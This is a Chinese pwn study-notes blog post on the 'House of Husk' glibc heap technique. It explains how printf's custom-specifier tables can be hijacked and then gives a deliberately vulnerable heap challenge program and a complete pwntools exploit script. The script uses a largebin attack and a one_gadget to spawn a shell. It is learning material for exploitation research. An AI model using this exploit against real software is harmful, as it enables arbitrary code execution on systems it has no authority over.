【我的 PWN 学习手札】House of Husk
House of Husk
House of Husk
是利用格式化输出函数如printf
、vprintf
在打印输出时,会解析格式化字符如%x
、%lld
从而调用不同的格式化打印方法(函数)。同时C语言还提供了注册自定义格式化字符的方法。注册自定义格式化字符串输出方法,实际上是通过两张保存在全局的表实现的。为此我们以伪装/篡改这两张表为核心目标,劫持函数指针,从而控制程序流。
一、printf调用过程
printf
是通过ldbl_strong_alias
创建的__printf
的别名,__printf
又调用了vfprintf
因此printf
➡__printf
➡vfprintf
// stdio-common/printf.cint
__printf (const char *format, ...)
{va_list arg;int done;va_start (arg, format);done = vfprintf (stdout, format, arg);va_end (arg);return done;
}#undef _IO_printf
ldbl_strong_alias (__printf, printf);
vfprintf
中预设了进行自定义格式化字符串处理的分支do_positional
,其中继续调用printf_positional
函数
因此vfprintf
➡do_positional
➡printf_positional
/* The function itself. */
int vfprintf(FILE *s, const CHAR_T *format, va_list ap)
{.../* Use the slow path in case any printf handler is registered. */if (__glibc_unlikely(__printf_function_table != NULL || __printf_modifier_table != NULL ||__printf_va_arg_table != NULL)) // 当三个表之一不为空时,即说明有自定义的格式化字符串处理方法goto do_positional;/* Process whole format string. */ //执行默认的格式化打印规则do{...} while (*f != L_('\0'));/* Unlock stream and return. */goto all_done;/* Hand off processing for positional parameters. */
do_positional:if (__glibc_unlikely(workstart != NULL)){free(workstart);workstart = NULL;}done = printf_positional(s, format, readonly_format, ap, &ap_save,done, nspecs_done, lead_str_end, work_buffer,save_errno, grouping, thousands_sep);
all_done:...return done;
}
printf_positional
函数中,检查自定义的格式化操作表,选择自定义格式化字符对应的函数指针,传入参数,完成自定义格式化操作。
因此printf_positional
➡__printf_function_table[(size_t)spec](s, &specs[nspecs_done].info, ptr);
static int
printf_positional(_IO_FILE *s, const CHAR_T *format, int readonly_format,va_list ap, va_list *ap_savep, int done, int nspecs_done,const UCHAR_T *lead_str_end,CHAR_T *work_buffer, int save_errno,const char *grouping, THOUSANDS_SEP_T thousands_sep)
{...for (const UCHAR_T *f = lead_str_end; *f != L_('\0');f = specs[nspecs++].next_fmt){.../* Parse the format specifier. */nargs += __parse_one_specmb(f, nargs, &specs[nspecs], &max_ref_arg);}.../* Now walk through all format specifiers and process them. */for (; (size_t)nspecs_done < nspecs; ++nspecs_done){.../* Fill variables from values in struct. */.../* Fill in last information. */.../* Maybe the buffer is too small. */.../* Process format specifiers. */while (1){extern printf_function **__printf_function_table;int function_done;if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t)spec] != NULL){const void **ptr = alloca(specs[nspecs_done].ndata_args * sizeof(const void *));/* Fill in an array of pointers to the argument values. */for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;++i)ptr[i] = &args_value[specs[nspecs_done].data_arg + i];/* Call the function. */function_done = __printf_function_table[(size_t)spec](s, &specs[nspecs_done].info, ptr);...}}...}
all_done:...
}
另外,printf_positional
➡__parse_one_specmb()
➡(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type,&spec->size)
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,struct printf_spec *spec, size_t *max_ref_arg)
{...if (__builtin_expect (__printf_function_table == NULL, 1)|| spec->info.spec > UCHAR_MAX|| __printf_arginfo_table[spec->info.spec] == NULL/* We don't try to get the types for all arguments if the formatuses more than one. The normal case is covered though. Ifthe call returns -1 we continue with the normal specifiers. */|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type,&spec->size)) < 0){...}...
}
因此不论是__printf_arginfo_table
还是__printf_function_table
的注册函数都会被调用,这两个地方都可以用作劫持。然而有几点需要注意
__printf_arginfo_table
中的函数指针先被调用,__printf_function_table
中的函数指针后被调用- 一般通过
vprintf
的__printf_function_table != null
触发自定义格式化字符解析的分支 - 由于
"1"
和"2"
,如果借助__printf_arginfo_table
劫持程序流,一般也需要确保__printf_function_table != null
- 由于
"1"
和"2"
,如果借助__printf_function_table
劫持程序流,需要确保__printf_arginfo_table != null
,否则会出现错误;而且因此也需要__printf_arginfo_table[spec->info.spec]==null
二、格式化字符处理函数注册机制
既然存在"自定义字符-自定义格式化函数"的映射处理机制,我们不妨看一下注册函数,来帮助我们更好理解,这几张表的作用。
通过在源码项目中查找"__printf_function_table
"字符串,可以定位到"stdio-common/reg-printf.c
"中的__register_printf_specifier
函数
/* Register FUNC to be called to format SPEC specifiers. */
int __register_printf_specifier(int spec, printf_function converter,printf_arginfo_size_function arginfo)
{if (spec < 0 || spec > (int)UCHAR_MAX){__set_errno(EINVAL);return -1;}int result = 0;__libc_lock_lock(lock);if (__printf_function_table == NULL) // 如果为空,说明是第一次注册,开始建表{__printf_arginfo_table = (printf_arginfo_size_function **)// /* Maximum value an `unsigned char' can hold. (Minimum is 0.) */// # define UCHAR_MAX 255calloc(UCHAR_MAX + 1, sizeof(void *) * 2); //创建表,分配一段大小为(UCHAR_MAX + 1) * sizeof(void *) * 2的连续空间//可以存储0x200个(void*)类型数据if (__printf_arginfo_table == NULL){result = -1;goto out;}// __printf_arginfo_table 占分配空间前0x100个(void*)的空间// __printf_function_table占分配空间后0x100个(void*)的空间// |__printf_arginfo_table | __printf_function_table|// |<--------0x100-------->|<---------0x100-------->| 每个单元大小:sizeof(void*)__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);}//自定义格式化字符spec与两张表的映射关系即索引关系__printf_function_table[spec] = converter;__printf_arginfo_table[spec] = arginfo;out:__libc_lock_unlock(lock);return result;
}
libc_hidden_def(__register_printf_specifier)weak_alias(__register_printf_specifier, register_printf_specifier);/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_function (int spec, printf_function converter, // 封装__register_printf_specifierprintf_arginfo_function arginfo)
{return __register_printf_specifier (spec, converter,(printf_arginfo_size_function*) arginfo);
}
weak_alias (__register_printf_function, register_printf_function)
三、模板题与题解
pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:printf("invalid choice %d.\n", choice);}}
}
exp.py
from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io=process("./pwn")add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)
delete(2)
add(10,0x500)# 泄露heap_base
show(2)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1d20b0
success("libc base: "+hex(libc.address))# 泄露libc_base
edit(2,b'a'*8*2)
show(2)
io.recvline()
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success("heap base: "+hex(heap_base))
edit(2,p64(libc.address+0x1d20b0)*2+p64(heap_base+0x6d0))# 通过偏移获取两张全局表的位置
__printf_function_table = libc.address + 0x1d3980
__printf_arginfo_table = libc.address+ 0x1d2890# largebin attack 让__printf_function_table指向一块内存,
# 之后将该内存申请出来在对应应该调用的函数指针位置写入one_gadget
edit(2,p64(0)*3+p64(__printf_function_table-0x20))
delete(0)
add(0,0x100)'''
0xd3361 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xd3364 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xd3367 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadgets=[i +libc.address for i in [0xd3361,0xd3364,0xd3367]]
edit(2,p64(libc.address+0x1d20b0)*2+p64(heap_base+0x6d0)*2)
add(2,0x428)#########################################################
# 发现只写__printf_function_table,而__printf_arginfo_table为空时会在__parse_one_specmb的if判断中崩溃
# 于是这里再次largebin attack让__printf_arginfo_table指向一块堆区域,
# 同时由于堆未写入数据,很容易满足__printf_arginfo_table[spec]=null
add(10,0x300)
add(10,0x418)
add(11,0x18)
add(12,0x428)
add(13,0x18)
delete(12)
add(20,0x500)
edit(12,p64(0)*3+p64(__printf_arginfo_table-0x20))
delete(10)
add(10,0x100)
##########################################################edit(2,(ord('d')-2)*p64(0)+p64(one_gadgets[0]))io.sendlineafter(b"choice:",b"~!@")io.interactive()
相关文章:

【我的 PWN 学习手札】House of Husk
House of Husk House of Husk是利用格式化输出函数如printf、vprintf在打印输出时,会解析格式化字符如%x、%lld从而调用不同的格式化打印方法(函数)。同时C语言还提供了注册自定义格式化字符的方法。注册自定义格式化字符串输出方法…...

(八)趣学设计模式 之 装饰器模式!
目录 一、 啥是装饰器模式?二、 为什么要用装饰器模式?三、 装饰器模式的实现方式四、 装饰器模式的优缺点五、 装饰器模式的应用场景六、 装饰器模式 vs 代理模式七、 总结 🌟我的其他文章也讲解的比较有趣😁,如果喜欢…...
设计后端返回给前端的返回体
目录 1、为什么要设计返回体? 2、返回体包含哪些内容(如何设计)? 举例 3、总结 1、为什么要设计返回体? 在设计后端返回给前端的返回体时,通常需要遵循一定的规范,以确保前后端交互的清晰性…...

Element Plus中el-select选择器的下拉选项列表的样式设置
el-select选择器,默认样式效果: 通过 * { margin: 0; padding: 0; } 去掉内外边距后的样式效果(样式变丑了): 通过 popper-class 自定义类名修改下拉选项列表样式 el-select 标签设置 popper-class"custom-se…...

C高级(shell)
作业 1、使用case...in实现等级判断 2、计算各个位数和 3、计算家目录下目录个数和普通文件数 4、打印图形 5、冒泡排序...

子宫腺肌症是如果引起的?
子宫腺肌症是一种常见的妇科疾病,它是指子宫内膜的腺体和间质侵入子宫肌层形成的一种病症。那么,子宫腺肌症是如何引起的呢? 一、病因分析 子宫腺肌症的确切病因目前尚不十分清楚,但经过医学研究和临床观察,认为其发…...

网络安全学习中,web渗透的测试流程是怎样的?
渗透测试是什么?网络安全学习中,web渗透的测试流程是怎样的? 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我…...
【软考】【2025年系统分析师拿证之路】【啃书】第十四章 软件实现与测试(十五)
目录 程序设计方法代码重用软件测试软件测试的对象和目的软件测试方法按照被测程序是否可见分类按照是否需要执行被测试程序分类自动测试 测试类型按测试对象划分按测试阶段划分按被测试软件划分其他分类 程序设计方法 结构化程序设计:自顶向下,逐步求精…...
自然语言处理NLP深探
1. NLP 的定义、特点、具体工作、历史和流派 定义:自然语言处理(Natural Language Processing,NLP)是计算机科学与人工智能领域的一个重要分支,旨在让计算机理解、处理和生成人类自然语言,实现人与计算机之间用自然语言进行有效通信。特点 交叉性:涉及计算机科学、语言学…...

加载互联网免费地图资源并通过CesiumEarth快速浏览
免费地图资源 地理信息系统(GIS)的搭建主要可分为两部分:1、三维地球引擎;2、基础数据图层。 CesiumEarth提供了可直接使用的三维地球引擎,因此只需准备基础数据图层,即可搭建属于自己的地理信息系统。 …...
Android 键盘输入按确认或换行 直接触发提交
在 Android 开发中,若要实现键盘输入时按下确认键(如 “完成”“发送” 等)或者换行键直接触发提交操作,可以通过以下几种方式实现,下面为你详细介绍。 方式一:使用 EditText 的 setOnEditorActionListene…...
halcon三维点云数据处理(二十七)remove_bin_for_3d_object_localization
目录 一、remove_bin_for_3d_object_localization代码第一部分二、remove_bin_for_3d_object_localization代码第二部分三、效果图一、remove_bin_for_3d_object_localization代码第一部分 1、读图构建3D模型。 2、一次二值化选取区域。 3、一次和背景差值选取区域。 4、在二维…...

XFeat:轻量级的深度学习图像特征匹配
一、引言:图像特征匹配的挑战与XFeat的突破 在计算机视觉领域,图像特征匹配是视觉定位(Visual Localization)、三维重建(3D Reconstruction)、增强现实(AR)等任务的核心基础。传统方…...
[MD] AG stable
当然,以下是A-stable和G-stable的详细定义: A-stable (A-稳定) A-stable是数值方法稳定性的一种分类,主要用于分析求解常微分方程初值问题的数值方法。一个数值方法被称为A-stable,如果它满足以下条件: 对于所有的步…...
微信小程序自定义导航栏实现指南
文章目录 微信小程序自定义导航栏实现指南一、自定义导航栏的需求分析二、代码实现1. WXML 结构2. WXSS 样式样式解析:3. JavaScript 逻辑三、完整代码示例四、注意事项与优化建议五、总结微信小程序自定义导航栏实现指南 在微信小程序开发中,默认的导航栏样式可能无法满足所…...

wav格式的音频压缩,WAV 转 MP3 VBR 体积缩减比为 13.5%、多个 MP3 格式音频合并为一个、文件夹存在则删除重建,不存在则直接建立
🥇 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 🎉 声明: 作为全网 AI 领域 干货最多的博主之一,❤️ 不负光阴不负卿 ❤️ 文章目录 问题一:wav格式的音频压缩为哪些格式,网络传输给用户播放…...

面试问题——如何解决移动端1px 边框问题?
面试问题——如何解决移动端1px 边框问题? 最近,不少小伙伴向我反映,他们在面试中频繁被问到关于1px边框的问题。这个看似老生常谈的话题,没想到在面试中的出现率依然这么高,着实让我有些意外。对于那些对这个问题感到…...

鸿蒙开发第4篇__关于在鸿蒙应用中使用Java语言进行设计
本博文很重要 HarmonyOS从 API8 开始不再支持使用Java作为开发语言,未来的新功能将在ArkTS中实现. API 8对应的是HarmonyOS 3.0.0版本。请看下图: 因此, 读者如果看到类似《鸿蒙应用程序开发》(2021年版本 清华大学出版计)书 还使用Java语言…...
什么是Ollama?什么是GGUF?二者之间有什么关系?
一、Ollama:本地化大模型运行框架 Ollama 是一款开源工具,专注于在本地环境中快速部署和运行大型语言模型(LLM)。它通过极简的命令行操作简化了模型管理流程,支持离线运行、多模型并行、私有化部署等场景。 核心特性 本地化运行:无需依赖云端API,用户可在个人电脑或服务…...

kubernetes 初学命令
基础命令 kubectl 运维命令常用: #查看pod创建过程以及相关日志 kubectl describe pod pod-command -n dev #查看某个pod,以yaml格式展示结果 kubectl get pod nginx -o yaml #查看pod 详情 以及对应的集群IP地址 kubectl get pods -o wide 1. kubetc…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...

使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...

简易版抽奖活动的设计技术方案
1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...

汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...